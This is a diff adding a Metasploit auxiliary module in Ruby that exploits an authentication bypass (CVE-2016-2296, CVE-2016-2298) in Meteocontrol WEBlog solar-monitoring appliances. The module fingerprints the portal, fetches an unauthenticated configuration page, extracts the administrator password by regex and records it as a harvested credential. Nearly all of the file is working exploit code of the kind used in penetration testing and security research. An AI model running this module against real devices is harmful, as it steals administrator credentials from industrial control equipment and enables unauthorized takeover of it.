|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Meteocontrol WEBlog Password Extractor', |
| 17 | + 'Description' => %{ |
| 18 | + This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal. |
| 19 | + }, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'], |
| 23 | + ['CVE', '2016-2296'], |
| 24 | + ['CVE', '2016-2298'] |
| 25 | + ], |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>' |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE)) |
| 31 | + |
| 32 | + register_options( |
| 33 | + [ |
| 34 | + Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly. |
| 35 | + ], self.class |
| 36 | + ) |
| 37 | + end |
| 38 | + |
| 39 | + def run_host(ip) |
| 40 | + unless is_app_metweblog? |
| 41 | + return |
| 42 | + end |
| 43 | + |
| 44 | + do_extract |
| 45 | + end |
| 46 | + |
| 47 | + # |
| 48 | + # Check if App is Meteocontrol WEBlog |
| 49 | + # |
| 50 | + |
| 51 | + def is_app_metweblog? |
| 52 | + begin |
| 53 | + res = send_request_cgi({ |
| 54 | + 'uri' => '/html/en/index.html', |
| 55 | + 'method' => 'GET' |
| 56 | + }) |
| 57 | + |
| 58 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 59 | + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") |
| 60 | + return false |
| 61 | + end |
| 62 | + |
| 63 | + if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log"))) |
| 64 | + print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...") |
| 65 | + return true |
| 66 | + else |
| 67 | + print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.") |
| 68 | + return false |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + # |
| 73 | + # Extract Administrator Password |
| 74 | + # |
| 75 | + |
| 76 | + def do_extract() |
| 77 | + print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...") |
| 78 | + begin |
| 79 | + res = send_request_cgi({ |
| 80 | + 'uri' => '/html/en/confAccessProt.html', |
| 81 | + 'method' => 'GET' |
| 82 | + }) |
| 83 | + |
| 84 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
| 85 | + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") |
| 86 | + return |
| 87 | + end |
| 88 | + |
| 89 | + if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/)) |
| 90 | + get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/) |
| 91 | + if get_admin_password[1] |
| 92 | + admin_password = get_admin_password[1] |
| 93 | + print_good("#{rhost}:#{rport} - Password is #{admin_password}") |
| 94 | + report_cred( |
| 95 | + ip: rhost, |
| 96 | + port: rport, |
| 97 | + service_name: 'Meteocontrol WEBlog Management Portal', |
| 98 | + password: admin_password, |
| 99 | + proof: res.body |
| 100 | + ) |
| 101 | + else |
| 102 | + # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value. |
| 103 | + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") |
| 104 | + end |
| 105 | + else |
| 106 | + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") |
| 107 | + end |
| 108 | + end |
| 109 | + |
| 110 | + def report_cred(opts) |
| 111 | + service_data = { |
| 112 | + address: opts[:ip], |
| 113 | + port: opts[:port], |
| 114 | + service_name: opts[:service_name], |
| 115 | + protocol: 'tcp', |
| 116 | + workspace_id: myworkspace_id |
| 117 | + } |
| 118 | + |
| 119 | + credential_data = { |
| 120 | + origin_type: :service, |
| 121 | + module_fullname: fullname, |
| 122 | + username: opts[:user], |
| 123 | + private_data: opts[:password], |
| 124 | + private_type: :password |
| 125 | + }.merge(service_data) |
| 126 | + |
| 127 | + login_data = { |
| 128 | + last_attempted_at: Time.now, |
| 129 | + core: create_credential(credential_data), |
| 130 | + status: Metasploit::Model::Login::Status::SUCCESSFUL, |
| 131 | + proof: opts[:proof] |
| 132 | + }.merge(service_data) |
| 133 | + |
| 134 | + create_credential_login(login_data) |
| 135 | + end |
| 136 | +end |
0 commit comments